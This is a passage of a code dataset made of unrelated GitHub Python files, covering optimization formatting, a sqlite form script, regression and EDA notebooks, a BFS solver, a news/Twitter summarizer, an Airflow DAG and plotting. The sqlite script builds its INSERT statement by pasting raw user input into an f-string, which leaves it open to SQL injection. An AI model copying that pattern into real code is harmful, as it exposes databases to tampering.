expr.expression_type == Expression.CONSTANT:\n if not expr.constant.data_location:\n return \"%.2f\" % expr.constant.scalar\n return \"const(\" + name_map.constant_name(expr.constant) + \")\"\n elif expr.expression_type == Expression.VARIABLE:\n return \"var(\" + name_map.variable_name(expr) + \")\"\n elif expr.expression_type == Expression.LINEAR_MAP:\n return format_linear_map(expr, name_map)\n elif expr.expression_type == Expression.RESHAPE:\n assert len(expr.arg) == 1\n return format_expr(expr.arg[0], name_map)\n\n return (function_name(expr) + format_params(expr) +\n \"(\" + \", \".join(format_expr(arg, name_map)\n for arg in expr.arg) + \")\")\n\ndef format_problem(problem):\n name_map = NameMap()\n validate.check_sum_of_prox(problem)\n\n output = \"objective:\\n\"\n output += (\" add(\\n \" +\n \",\\n \".join(\n format_expr(arg, name_map) for arg in problem.objective.arg) +\n \")\\n\")\n\n if problem.constraint:\n output += \"\\nconstraints:\\n\"\n output += \"\".join(\" \" + format_expr(constr, name_map) + \"\\n\"\n for constr in problem.constraint)\n\n return output\n","repo_name":"nishi951/cvxbenchmarks","sub_path":"cvxbenchmarks/lib/data/epsilon/epopt/text_format.py","file_name":"text_format.py","file_ext":"py","file_size_in_byte":4974,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"3236897933","text":"import sqlite3 as sq\r\n\r\nc = sq.connect('/Users/gostapko/Desktop/New folder/k.db')\r\ncur = c.cursor()\r\n\r\nkategorija = input('Kategorija: ')\r\nnosaukums = input(\"nosaukums: \")\r\nrakst = input(\"Raksturojums: \")\r\ncena = input('Cena: ')\r\npieejams = bool(input(\"Pieejams\"))\r\nvards = input(\"Vards: \")\r\nuzvards = input('uzvards: ')\r\npk = input('pk: ')\r\nnumurs= input('Numurs: ')\r\ndb = input('datu sākums: ')\r\nsk = input('Datu beigums: ')\r\n\r\n\r\nclass Inst:\r\n def __init__(sell, piej):\r\n sell.piej = pieejams\r\n \r\n def __init__(self, cat, nos, th, cen):\r\n self.cat = kategorija\r\n self.nos = nosaukums\r\n self.th = rakst\r\n self.cen = cena\r\n \r\n\r\nif pieejams == True:\r\n c.execute(f'INSERT INTO klienti (inst, vards, uzvards, pk, numurs, sdatums, bdatums, rakst, kategorija) VALUES (\"{nosaukums}\", \"{vards}\",\"{uzvards}\", \"{pk}\", \"{numurs}\", \"{sk}\", \"{db}\", \"{rakst}\", \"{kategorija}\")')\r\n\r\n\r\nc.commit()\r\nc.close()","repo_name":"NotGlebO/prog-11-git","sub_path":"New folder/New folder/config.py","file_name":"config.py","file_ext":"py","file_size_in_byte":948,"program_lang":"python","lang":"lv","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"18102965128","text":"from tkinter import *\r\nfrom prettytable import PrettyTable\r\nfrom Module_Model import *\r\n\r\nclass BudgetList():\r\n def __init__(self):\r\n lf=Toplevel()\r\n \r\n lbl=Label(lf)\r\n lbl.config(font=(\"Courier\",9))\r\n lbl.pack()\r\n table=PrettyTable()\r\n table.field_names=[\"ItemName\",\"ItemType\",\"Price\",\"Qty\",\"Total\"]\r\n sql=\"Select ItemName,ItemType,Price,Qty,Qty * Price as 'Total' From budget Order By ItemName;\"\r\n result=Fun_Select(sql)\r\n \r\n for row in result:\r\n col0=\"%-30s\" % row[0] #%-30s% means data to left size of column\r\n col1=\"%-30s\" % row[1]\r\n col2=\"%-30s\" % row[2]\r\n col3=\"%-30s\" % row[3]\r\n col4=\"%-30s\" % row[4]\r\n table.add_row([col0,col1,col2,col3,col4])\r\n \r\n lbl[\"text\"]=table #table is uploaded onto the label","repo_name":"CptKawasemi/py_budget","sub_path":"Budget/BudgetList.py","file_name":"BudgetList.py","file_ext":"py","file_size_in_byte":873,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"29942077369","text":"import matplotlib.pyplot as plt\r\nimport numpy as np\r\nimport pandas as pd\r\nimport seaborn as sns\r\nfrom sklearn.datasets import load_boston\r\nfrom sklearn.model_selection import train_test_split\r\n\r\nboston = load_boston()\r\nprint(boston.DESCR)\r\ncolumns = boston.feature_names\r\ncolumns\r\nboston.data\r\nboston.target[:50]\r\ndf_data = pd.DataFrame(boston.data, columns=boston.feature_names)\r\ndf_data.head()\r\n\r\ndf_target = pd.DataFrame(boston.target, columns=['MEDV'])\r\ndf_target.head()\r\n\r\ndf = pd.concat([df_data, df_target], axis=1)\r\ndf.head()\r\n\r\n\r\n# In[]\r\ndf_pickup = df.loc[:, ['LSTAT', 'INDUS', 'DIS', 'RM', 'MEDV']]\r\n\r\n\r\nsns.pairplot(df_pickup, size=2.0)\r\nplt.show()\r\n\r\ndf.corr()\r\n\r\n# In[]\r\nplt.figure(figsize=(12, 9))\r\nsns.heatmap(df.corr(), annot=True, square=True, fmt='.2f')\r\nplt.show()\r\n\r\ndf.describe()\r\n\r\n# In[]\r\nX = df.loc[:, ['LSTAT', 'RM']].values\r\nX\r\n\r\ny = df.loc[:, ['MEDV']].values\r\ny[:10]\r\n\r\nX_train, X_test, y_train, y_test = train_test_split(\r\n X, y, test_size=0.3, random_state=0)\r\n\r\nX.shape\r\ny.shape\r\n\r\nX_train.shape\r\ny_train.shape\r\n\r\n# In[]\r\nfrom sklearn.linear_model import LinearRegression\r\nlr = LinearRegression()\r\n\r\nlr.fit(X_train, y_train)\r\n\r\n# In[]\r\nlr.intercept_\r\nlr.coef_\r\n\r\nX_new = np.array([[12,3]])\r\nX_new\r\n\r\ny_prop = 15\r\ny_pred = lr.predict(X_new)\r\ny_pred\r\n\r\nprice_ratio = y_prop / y_pred\r\nprice_ratio\r\n\r\nprint(f'y_prop :{y_prop:.2f}')\r\nprint(f'y_pred :{y_pred[0][0]:.2f}')\r\nprint(f'price_ratio :{price_ratio[0][0]:.2f}')\r\n\r\nprint('R^2')\r\nprint(f'train: {lr.score(X_train, y_train): .3f}')\r\nprint(f'test: {lr.score(X_test, y_test): .3f}')\r\n\r\n# In[]\r\nfrom sklearn.metrics import mean_squared_error as mse\r\n\"RMSE\"\r\nf'train: {(mse(y_train, lr.predict(X_train)))**(1/2): .3f}'\r\nf'test : {mse(y_test, lr.predict(X_test))**0.5: .3f}'\r\n\r\ndf.describe()\r\n\r\n# In[] Residuals Plot\r\ndef res_plot(y_train, y_train_pred, y_test, y_test_pred):\r\n res_train= y_train_pred - y_train\r\n res_test = y_test_pred - y_test\r\n\r\n plt.figure(figsize = (8,8))\r\n plt.scatter(y_train_pred, res_train, color = 'blue', marker = 'o', label = 'train', alpha = 0.5)\r\n plt.scatter(y_test_pred, res_test, color = 'green', marker = 's', label = 'test', alpha = 0.5)\r\n\r\n plt.xlabel('Predicted Values')\r\n plt.ylabel('Residuals')\r\n plt.legend(loc='upper left')\r\n plt.hlines(y=0, xmin=-10, xmax=50, color ='red')\r\n plt.xlim([-10,50])\r\n plt.show()\r\n\r\nres_plot(y_train,lr.predict(X_train), y_test, lr.predict(X_test))\r\n\r\n# In[] 3D plot by mpl_toolkits\r\nfrom mpl_toolkits.mplot3d import Axes3D\r\n\r\nax = Axes3D(plt.figure(figsize = (8,5)))\r\nax.scatter3D(df['LSTAT'], df['RM'], df['MEDV'])\r\n\r\nX_grid, Y_grid = np.meshgrid(np.arange(0, 40, 2.5), np.arange(1, 10, 0.5))\r\nw0 = lr.intercept_\r\nw1 = lr.coef_[0,0]\r\nw2 = lr.coef_[0,1]\r\nZ = w0 + w1*X_grid + w2*Y_grid\r\n\r\nax.plot_wireframe(X_grid, Y_grid, Z, alpha = 0.3, color ='red')\r\n\r\nax.set_xlabel('LSTAT')\r\nax.set_ylabel('RM')\r\nax.set_zlabel('MEDV')\r\n\r\nplt.show()\r\n\r\n# In[]\r\nfrom sklearn.preprocessing import StandardScaler\r\nss = StandardScaler()\r\nX_std = ss.fit_transform(boston.data)\r\ny_std = ss.fit_transform(y)\r\n\r\nX_std[:5]\r\ny_std[:5]\r\nX_std.mean(axis=0)\r\n\r\ny_std.mean()\r\nX_std.std(axis=0)\r\ny_std.std()\r\nlr_std = LinearRegression()\r\nlr_std.fit(X_std, y_std)\r\nlr_std.coef_\r\n","repo_name":"monado3/HAIT","sub_path":"MachineLearning/03multiplereganalysis.py","file_name":"03multiplereganalysis.py","file_ext":"py","file_size_in_byte":3237,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"28876942366","text":"# Credit to MaskRay for the idea of using a dynamic programming strategy to retrieve path taken\n\nWALL = '%'\n# [UP, LEFT, RIGHT, DOWN]\nmoves = [(-1, 0), (0, -1), (0, 1), (1, 0)]\nm = n = 0\n\n\ndef find_path(p_pos, f_pos, board):\n pr, pc = p_pos\n bfs_expanded = []\n bfs_pruned = []\n q = [(pr, pc)]\n # Using dynamic programming to retrieve final path taken\n p_table = [[None] * n for _ in range(m)]\n p_table[pr][pc] = (pr, pc)\n\n while q:\n pr, pc = q.pop(0)\n bfs_expanded.append((pr, pc))\n if (pr, pc) == f_pos:\n break\n for move in moves:\n r, c = pr + move[0], pc + move[1]\n if board[r][c] != WALL and not p_table[r][c]:\n p_table[r][c] = (pr, pc)\n q.append((r, c))\n\n print(len(bfs_expanded))\n for r, c in bfs_expanded:\n print(\"{} {}\".format(r, c))\n\n r, c = f_pos\n pr, pc = p_pos\n while (r, c) != p_pos:\n bfs_pruned.append((r, c))\n r, c = p_table[r][c]\n # Don't forget about the first position\n bfs_pruned.append((pr, pc))\n # -1 since do not count starting out as a move\n print(len(bfs_pruned) - 1)\n for r, c in reversed(bfs_pruned):\n print(\"{} {}\".format(r, c))\n\n\ndef main():\n global m, n\n # read board\n p_pos = tuple([int(x) for x in input().strip().split()])\n f_pos = tuple([int(x) for x in input().strip().split()])\n m, n = [int(x) for x in input().strip().split()]\n board = [[j for j in input().strip()] for i in range(m)]\n find_path(p_pos, f_pos, board)\n\n\nif __name__ == '__main__':\n main()\n","repo_name":"cjc77/HackerRankAI","sub_path":"pac_man_bfs.py","file_name":"pac_man_bfs.py","file_ext":"py","file_size_in_byte":1586,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"19938131545","text":"# -*- coding: utf-8 -*-\nimport sqlite3\nimport os\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n#Setting up paths (redirect path to db)\n_thisFile = os.path.dirname(os.path.abspath('__file__'))\n_dbfile = r'%s/articles_zenodo.db' % _thisFile.replace(\"EDA\", \"Article Collection\")\n\n#Connecting to database\n_db = sqlite3.connect(_dbfile)\nquery = \"SELECT * FROM lean;\"\nlean = pd.read_sql_query(query, _db)\n\n#Check counts of data leaning\nplt.figure()\npd.value_counts(lean['hyperpartisan']).plot.bar()\nplt.figure()\npd.value_counts(lean['bias']).plot.bar()\n\n#Split out and group by just the site\nlean['site'] = lean.url.str.split('//', expand=True)[1].str.split('.', expand=True)[0]\n\nplt.figure()\npd.value_counts(lean['site'])[0:20].plot.bar()\n","repo_name":"tjwhalenUVA/DAEN690","sub_path":"EDA/explore_lean.py","file_name":"explore_lean.py","file_ext":"py","file_size_in_byte":741,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"22063037785","text":"# SPDX-License-Identifier: MIT\n\n\n# Import both local and third-party setup modules.\nimport codecs\nimport os\n\nfrom setuptools import find_packages, setup\n\n# Import local modules to fetch version number.\nfrom avro import __version__\n\n# Constants.\nhere = os.path.abspath(os.path.dirname(__file__))\n\nwith codecs.open(os.path.join(here, 'README.md'), encoding='utf-8') as fh:\n long_description = \"\\n\" + fh.read()\n\n\n# Call the setup function.\nsetup(\n name='avro.py',\n version=__version__,\n description='A modern Pythonic implementation of Avro Phonetic.',\n long_description_content_type='text/markdown',\n long_description=long_description,\n author='HitBlast',\n author_email='hitblastlive@gmail.com',\n url='https://github.com/hitblast/avro.py',\n packages=find_packages(exclude=['*.tests', '*.tests.*', 'tests.*', 'tests']),\n package_data={'avro': ['*.md']},\n include_package_data=True,\n license='MIT',\n python_requires=\">=3.8\",\n keywords=[\n 'python',\n 'avro',\n 'avro phonetic',\n 'bangla',\n 'bangla phonetics',\n 'bengali',\n 'bengali phonetics',\n ],\n classifiers=[\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: MIT License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python :: 3.8',\n 'Programming Language :: Python :: 3.9',\n 'Programming Language :: Python :: 3.10',\n 'Programming Language :: Python :: 3.11',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n)\n","repo_name":"hitblast/avro.py","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1574,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"82"} +{"seq_id":"9094972802","text":"\nimport RPi.GPIO as GPIO\nimport time\n\nledPIN = 12\nGPIO.setwarnings(False)\n\ndef onoff():\n\tprint('starting onoff function')\n\tprint('ledPin = ' + str(ledPIN))\n\tGPIO.setmode(GPIO.BCM)\n\tGPIO.setup(ledPIN, GPIO.OUT)\n\tprint('outout: true')\n\tGPIO.output(ledPIN, True)\n\ttime.sleep(5)\n\tprint('output: false')\n\tGPIO.output(ledPIN, False)\n\ndef dim():\n\tprint('starting dim function')\n\tsteps_duty_cycle = 1\n\tsweep_range_dc = 10\n\tfreq = 50\n\tpause_time = .5\n\tGPIO.setmode(GPIO.BCM)\n\tGPIO.setup(ledPIN, GPIO.OUT)\n\tred_led = GPIO.PWM\n\tred_led = GPIO.PWM(ledPIN,freq)\n\tred_led.start(0)\n\tfor i in range(0,sweep_range_dc+1,steps_duty_cycle):\n\t\tred_led.ChangeDutyCycle(i)\n\t\tprint('DC: ' + str(i))\n\t\ttime.sleep(pause_time)\n\tfor i in range(sweep_range_dc,-1,-steps_duty_cycle):\n\t\tred_led.ChangeDutyCycle(i)\n\t\tprint('DC: ' + str(i))\n\t\ttime.sleep(pause_time)\n\tprint('cleaning up')\n\t#red_led.ChangeDutyCycle(0)\n\t#red_led.stop()\n\t#GPIO.cleanup()\n\nfor i in range(0,1):\n\tonoff()\n\ttime.sleep(3)\n\tdim()\n\ttime.sleep(3)\n\tonoff()\n","repo_name":"cvaldez83/RPi_Snippets","sub_path":"io_pins/LedFuncs.py","file_name":"LedFuncs.py","file_ext":"py","file_size_in_byte":995,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"9013732284","text":"__version__ = \"1.0.0\"\n### Importing all the packages\nimport requests\nimport urllib.request\nimport time\nimport spacy\nfrom bs4 import BeautifulSoup\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib.pyplot as plt\nimport nltk\nimport re\nimport unicodedata\nfrom nltk.corpus import stopwords\nimport tweepy\nfrom textblob import TextBlob\nimport pandas as pd\nimport numpy as np\nfrom wordcloud import WordCloud, STOPWORDS, ImageColorGenerator\nimport matplotlib.pyplot as plt\nimport nltk\nnltk.download('punkt') # one time execution\nimport re\nfrom nltk.tokenize import sent_tokenize\nfrom gensim.summarization import summarize\nimport re\n\n#### Cleaning text \n### reference (https://github.com/kaparker/gameofthrones-wordclouds/blob/master/gotwordcloud.py)\n\ndef removetitle(text):\n return re.sub(r'.*:', '', text)\n\ndef removebrackets(text):\n return re.sub('[\\(\\[].*?[\\)\\]]', ' ', text)\n\ndef remove_accented_chars(text):\n return unicodedata.normalize('NFKD', text).encode('ascii', 'ignore').decode('utf-8', 'ignore')\n\ndef remove_special_chars(text, remove_digits=False):\n pattern = r'[^a-zA-Z0-9\\s]' if not remove_digits else r'[^a-zA-Z\\s]'\n return re.sub(pattern, '', text)\n\ndef remove_stopwords(text):\n stopword_list = stopwords.words('english')\n tokens = nltk.word_tokenize(text)\n tokens = [token.strip() for token in tokens]\n return ' '.join([token for token in tokens if token not in stopword_list])\n\ndef lemmatize(text):\n text = nlp(text)\n return ' '.join([word.lemma_ if word.lemma_ != '-PRON-' else word.text for word in text])\n\n### Wrapper function to call all the clean functions at once\ndef clean_text(txt):\n text_title=removetitle(txt)\n text_brackets=removebrackets(text_title)\n text_clean=remove_accented_chars(text_brackets)\n text_clean=text_clean.lower()\n text_clean=remove_special_chars(text_clean)\n text_clean=remove_stopwords(text_clean)\n return text_clean\ndef get_data_from_google(numResults,topic):\n \"\"\"\n It takes two argument\n numResults: Number of results you want to extract\n topic: The topic for which you want to extract data\n \"\"\"\n url =\"https://www.google.com/search?q=\"+topic+\"&tbm=nws&hl=en&num=\"+str(numResults)\n response = requests.get(url)\n soup = BeautifulSoup(response.content, 'html.parser')\n results = soup.find_all(\"div\", attrs = {\"class\": \"ZINbbc\"})\n descriptions = []\n for result in results:\n try:\n description = result.find(\"div\", attrs={\"class\":\"s3v9rd\"}).get_text()\n if description != \"\": \n descriptions.append(description)\n except:\n continue\n text = \"\".join(descriptions)\n google_text_data=[x if len(x)>20 else np.nan for x in text.split(\".\")]\n google_text_data=[x for x in google_text_data if x == x]\n return google_text_data\n\ndef sentiment(data_list):\n \"\"\"\n Takes list of sentences as input and gives sentiment score as output\n \"\"\"\n for x in data_list:\n print(x)\n analysis = TextBlob(x)\n print(analysis.sentiment)\ndef extract_tweets(consumer_key,consumer_secret,access_token,access_token_secret,search_key):\n \"\"\"\n Takes the keys and search key e.g. Omdena etc for which you want to extract data as input and gives list of tweets as output \n \"\"\"\n # Step 1 - Authenticate\n consumer_key= str(consumer_key)\n consumer_secret= str(consumer_secret)\n\n access_token=str(access_token)\n access_token_secret=str(access_token_secret)\n\n auth = tweepy.OAuthHandler(consumer_key, consumer_secret)\n auth.set_access_token(access_token, access_token_secret)\n\n api = tweepy.API(auth)\n\n #Step 3 - Retrieve Tweets\n public_tweets = api.search(search_key)\n tweets_list=[]\n for tweet in public_tweets:\n tweets_list.append(tweet.text)\n return tweets_list\ndef normalize_document(doc):\n stop_words = nltk.corpus.stopwords.words('english')\n # lower case and remove special characters\\whitespaces\n doc = re.sub(r'[^a-zA-Z\\s]', '', doc, re.I|re.A)\n doc = doc.lower()\n doc = doc.strip()\n # tokenize document\n tokens = nltk.word_tokenize(doc)\n # filter stopwords out of document\n filtered_tokens = [token for token in tokens if token not in stop_words]\n # re-create document from filtered tokens\n doc = ' '.join(filtered_tokens)\n return doc\n\ndef get_summarization(text):\n \"\"\"\n It takes document or whole corpus in str format and gives summary as output\n \"\"\"\n DOCUMENT = re.sub(r'\\n|\\r', ' ', text)\n DOCUMENT = re.sub(r' +', ' ', DOCUMENT)\n DOCUMENT = DOCUMENT.strip()\n print(\"Summary 1\")\n print(summarize(DOCUMENT, word_count=75, split=False))\n print(\"Summary 2\")\n print(summarize(DOCUMENT, ratio=0.2, split=False))\ndef get_summary(topic,consumer_key,consumer_secret,access_token,access_token_secret,numResults,sentiment_flag=False):\n \n google_list=get_data_from_google(numResults,topic)\n tweet_list=extract_tweets(consumer_key,consumer_secret,access_token,access_token_secret,topic)\n final_list=google_list+tweet_list\n if sentiment_flag:\n sentiment(final_list)\n document='.'.join(final_list)\n get_summarization(document)\n ","repo_name":"eaglewarrior/scrape_do_nlp","sub_path":"scrape_do_nlp/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":5195,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"82"} +{"seq_id":"40710505225","text":"import random\nimport arcade\nimport constants\nfrom game.casting.target import Target\n \nclass Bonus_Target( Target ):\n \"\"\"A circular, moveable target that participates in the game and gives extra points if gets hit. \n \n The responsibility of Bonus_Target is to draw itself, keep track of its position, velocity and points.\n\n Attributes:\n velocity.dx( Point ): The random speed and direction for x.\n point (int): The number of points the Bonus_Target is worth.\n radius( int ): The radius of the object.\n \"\"\"\n\n def __init__( self ):\n \"\"\"Constructs a new Bonus_Target.\"\"\"\n super().__init__()\n self.velocity.dx = random.uniform( 3, 5 )\n self.point = constants.BONUS_TARGET_POINTS\n self.radius = 15\n\n def draw( self ):\n \"\"\"Draw the object itself on screen.\"\"\"\n\n # Load the image.\n image = arcade.load_texture( constants.BONUS_TARGET_IMAGE )\n\n # State the scale.\n scale = .05\n\n # Draw the object on screen.\n arcade.draw_texture_rectangle( self.center._x, self.center._y, scale * image.width, scale * image.height, image, 0 )","repo_name":"lg10migue/Skeet","sub_path":"skeet/game/casting/bonus_target.py","file_name":"bonus_target.py","file_ext":"py","file_size_in_byte":1142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"29778616920","text":"from datetime import datetime, timedelta\nfrom airflow import DAG\nfrom airflow.operators.bash import BashOperator\nfrom airflow.operators.python import PythonOperator\n\ndefault_args = {\n 'owner': 'DavidBU',\n 'retries': 5,\n 'retry_delay': timedelta(minutes=2)\n}\n\ndag = DAG(\n dag_id='dag_Bash_Python_Operators',\n default_args=default_args,\n description='Este es el primer DAG que creamos',\n start_date=datetime(2023, 5, 28, 2),\n schedule_interval='@daily'\n)\n\ndef print_hola():\n print('Hola mundo soy yo David!')\n\ndef print_adios():\n print('Hasta luego a todos!')\n\ndef echo_task():\n return BashOperator(\n task_id='echo_task',\n bash_command='echo \"Hola desde my bash!\"',\n dag=dag\n )\n\ndef crear_archivo_task():\n return BashOperator(\n task_id='crear_archivo_task',\n bash_command='touch /tmp/test.txt',\n dag=dag\n )\n\ndef mover_archivo_task():\n return BashOperator(\n task_id='mover_archivo_task',\n bash_command='mv /tmp/test.txt /tmp/test2.txt',\n dag=dag\n )\n\ndef limpiar_task():\n return BashOperator(\n task_id='limpiar_task',\n bash_command='rm /tmp/test2.txt',\n dag=dag\n )\n\nhello_task = PythonOperator(\n task_id='hola_task',\n python_callable=print_hola,\n dag=dag\n)\n\nadios_task = PythonOperator(\n task_id='adios_task',\n python_callable=print_adios,\n dag=dag\n)\n\necho_op = echo_task()\ncrear_archivo_op = crear_archivo_task()\nmover_archivo_op = mover_archivo_task()\ncleanup_op = limpiar_task()\n\nhello_task >> echo_op\nhello_task >> crear_archivo_op\ncrear_archivo_op >> mover_archivo_op\n[echo_op, mover_archivo_op] >> cleanup_op\nadios_task >> cleanup_op","repo_name":"dfbustosus/Curso-Data-Engineering","sub_path":"Clase 10/Airflow con Docker/dags/Bash_Operator_2.py","file_name":"Bash_Operator_2.py","file_ext":"py","file_size_in_byte":1691,"program_lang":"python","lang":"es","doc_type":"code","stars":25,"dataset":"github-code","pt":"82"} +{"seq_id":"2526482557","text":"import time\n\nfrom telemetry.core import util\nfrom telemetry.page.actions import wait\nfrom telemetry.unittest import tab_test_case\n\n\nclass WaitActionTest(tab_test_case.TabTestCase):\n def testWaitAction(self):\n self.Navigate('blank.html')\n self.assertEquals(\n self._tab.EvaluateJavaScript('document.location.pathname;'),\n '/blank.html')\n\n i = wait.WaitAction({ 'condition': 'duration', 'seconds': 1 })\n\n start_time = time.time()\n i.RunAction(None, self._tab, None)\n self.assertTrue(time.time() - start_time >= 1.0)\n\n def testWaitActionTimeout(self):\n wait_action = wait.WaitAction({\n 'condition': 'javascript',\n 'javascript': '1 + 1 === 3',\n 'timeout': 1\n })\n\n start_time = time.time()\n self.assertRaises(\n util.TimeoutException,\n lambda: wait_action.RunAction(None, self._tab, None))\n self.assertTrue(time.time() - start_time < 5)\n","repo_name":"ChromiumWebApps/chromium","sub_path":"tools/telemetry/telemetry/page/actions/wait_unittest.py","file_name":"wait_unittest.py","file_ext":"py","file_size_in_byte":908,"program_lang":"python","lang":"en","doc_type":"code","stars":223,"dataset":"github-code","pt":"82"} +{"seq_id":"38086875516","text":"import cv2\n\nimage = cv2.imread('img.png')\n\nb = image.copy()\n# set green and red channels to 0\nb[:, :, 1] = 0\nb[:, :, 2] = 0\n\n\ng = image.copy()\n# set blue and red channels to 0\ng[:, :, 0] = 0\ng[:, :, 2] = 0\n\nr = image.copy()\n# set blue and green channels to 0\nr[:, :, 0] = 0\nr[:, :, 1] = 0\n\nbr = image.copy()\n# set green channels to 0\nbr[:, :, 1] = 0\n\nbg = image.copy()\n# set red channels to 0\nbg[:, :, 2] = 0\n\nrg = image.copy()\n# set red channels to 0\nrg[:, :, 0] = 0\n\n\n# RGB - Blue\n# cv2.imshow('B-RGB', b)\n\n# RGB - Green\n# cv2.imshow('G-RGB', g)\n\n# RGB - Red\n# cv2.imshow('R-RGB', r)\n\n# RGB - Blue&Red\ncv2.imshow('BR-RGB', br)\n\n# RGB - Green&Blue\ncv2.imshow('GB-RGB', bg)\n\n# RGB - Red&Green\ncv2.imshow('RG-RGB', rg)\n\ncv2.waitKey(0)","repo_name":"boucherc/PIIM-TP1","sub_path":"Ex2.py","file_name":"Ex2.py","file_ext":"py","file_size_in_byte":733,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"82"} +{"seq_id":"2971287420","text":"import matplotlib.pyplot as plt\nimport matplotlib.colors as colors\nimport sys\n\nsys.path.insert(1, \"../../\")\nsys.path.insert(1, \"../\")\nfrom Utilities import *\nfrom plot_set import *\n\nimport numpy as np\n\n\ndef plotComp(metric, plotters = None, name = \"\", leg_loc = \"lower\"):\n if metric == \"Auc\":\n file = 'AUC'\n else:\n file = 'SIG'\n\n with open('../results/SIG.json', 'r') as openfile:\n # Reading from json file\n json_object = json.load(openfile)\n\n fig, ax = plt.subplots(figsize=(10,8))\n\n methods = list(json_object.keys())\n\n m1 = []\n m2 = []\n Cmap = {0: 6, 1 : -1, 2: 3, 3:1}\n method_0 = json_object[plotters[0]]\n map = {}\n for i in method_0:\n m1.append(int(method_0[i][\"m1\"]))\n m2.append(int(method_0[i][\"m2\"]))\n\n\n m1 = np.sort(np.unique(m1))\n m2 = np.sort(np.unique(m2))\n for i in range(len(m1)):\n for j in range(len(m2)):\n map[f\"{m1[i]}_{m2[j]}\"] = [i,j]\n\n for i in method_0:\n scores = []\n m1_i = method_0[i][\"m1\"]\n m2_i = method_0[i][\"m2\"]\n \n for method in methods:\n if plotters is not None and method not in plotters:\n continue\n score = json_object[method][f\"{m1_i}_{m2_i}\"][\"score\"]\n scores.append(score)\n\n scores = 100*np.asarray(scores)/np.max(scores)\n scores = np.around(scores)\n\n draw_pie(scores, map[f\"{m1_i}_{m2_i}\"][0], map[f\"{m1_i}_{m2_i}\"][1], 1750, Cmap, ax=ax)\n \n if plotters is not None:\n methods = [met for met in methods if met in plotters]\n\n colorList = [color_cycle[Cmap[i]] for i in range(len(methods))]\n method_label = [met[:-4].split(\"_\")[0] for met in methods]\n\n ax.set_xlim([-0.5, len(m1)-0.5])\n ax.set_ylim([-0.5, len(m2)-0.5])\n\n ax.set_xticks(np.arange(len(m1)) , minor=False)\n ax.set_yticks(np.arange(len(m2)) , minor=False)\n ax.set_xticklabels(m1, rotation=90, fontsize = 18)\n ax.set_yticklabels(m2, fontsize = 18)\n\n ax.grid(color = \"whitesmoke\", linestyle ='-', linewidth =1.5)\n ax.set_axisbelow(True)\n \n legend_kwargs = dict(labels = method_label, labelcolor = colorList, fancybox = True)\n ax.legend(borderpad = 1.25, framealpha = 1,fontsize = 'xx-large',loc = f'{leg_loc} left',**legend_kwargs)\n ax.set_xlabel(r\"$\\tilde{\\chi}_2$ [Gev]\",fontsize =24, loc = \"right\")\n ax.set_ylabel(r\"$\\tilde{\\chi}_1$ [Gev]\",fontsize =24, loc = \"top\",rotation=0, labelpad = -40)\n plt.tight_layout(pad=1.1, w_pad=0.7, h_pad=0.2)\n fig.savefig(f\"../../../thesis/Figures/MLResults/NN/SUSY/Comparison/{name}NetworkComp.pdf\")\n\n\n\n\n\ndef draw_pie(dist, \n xpos, \n ypos, \n size, \n map,\n ax=None):\n if ax is None:\n fig, ax = plt.subplots(figsize=(10,8))\n\n # for incremental pie slices\n cumsum = np.cumsum(dist)\n cumsum = cumsum/ cumsum[-1]\n pie = [0] + cumsum.tolist()\n i = 0\n for r1, r2 in zip(pie[:-1], pie[1:]):\n angles = np.linspace(2 * np.pi * r1, 2 * np.pi * r2)\n x = [0] + np.cos(angles).tolist()\n y = [0] + np.sin(angles).tolist()\n\n xy = np.column_stack([x, y])\n ax.scatter([xpos], [ypos], marker=xy, s=size, color = color_cycle[map[i]])\n i += 1\n \n ax.scatter([xpos], [ypos], s=size, facecolor = 'none', edgecolors=color_cycle[map[np.where(dist == 100)[0][0]]], linewidth = 8)\n return ax\n\nif __name__ == \"__main__\":\n\n metric = \"Sig\"\n plotters = [\"MaxOutGrid\", \"PNNGrid\", \"NNGrid\", \"XGBGrid\"]\n name = \"GenPlussXGB\"\n # plotters = [\"MaxOutPCAGrid\", \"PNNPCAGrid\", \"NNPCAGrid\"]\n # name = \"PCA\"\n # plotters = [\"HybridPCAMaxOutGrid\", \"HybridPCALeakyGrid\", \"PNNPCAGrid\", \"MaxOutPCAGrid\"]\n # name = \"Hybrid\"\n # plotters = [\"MaxOutPCA_FS_MLMGrid\", \"PNNPCA_FS_MLMGrid\", \"NN_FS_MLMGrid\"]\n # name = \"FS_MLM\"\n # plotters = [\"MaxOutPCA_FSGrid\", \"PNNPCA_FSGrid\", \"NN_FSGrid\"]\n # name = \"FS\"\n # plotters = [\"StochChannelOutGrid\", \"ChannelOutGrid\", \"MaxOutGrid\"]\n # name = \"Ensembles\"\n # plotters = [\"NNPCAGrid\", \"NNGrid\"]\n # name = \"NNPCA\"\n # plotters = [\"MaxOutPCAGrid\", \"MaxOutGrid\"]\n # name = \"MaxOutPCA\"\n # plotters = [\"PNNPCAGrid\", \"PNNGrid\"]\n # name = \"PNNPCA\"\n # plotters = [\"MaxOutPCAGrid\", \"MaxOutPCA_FS_MLMGrid\"]\n # name = \"BigVsLittleSetMaxOut\"\n plotComp(metric, plotters = plotters, name = name, leg_loc = \"lower\")\n 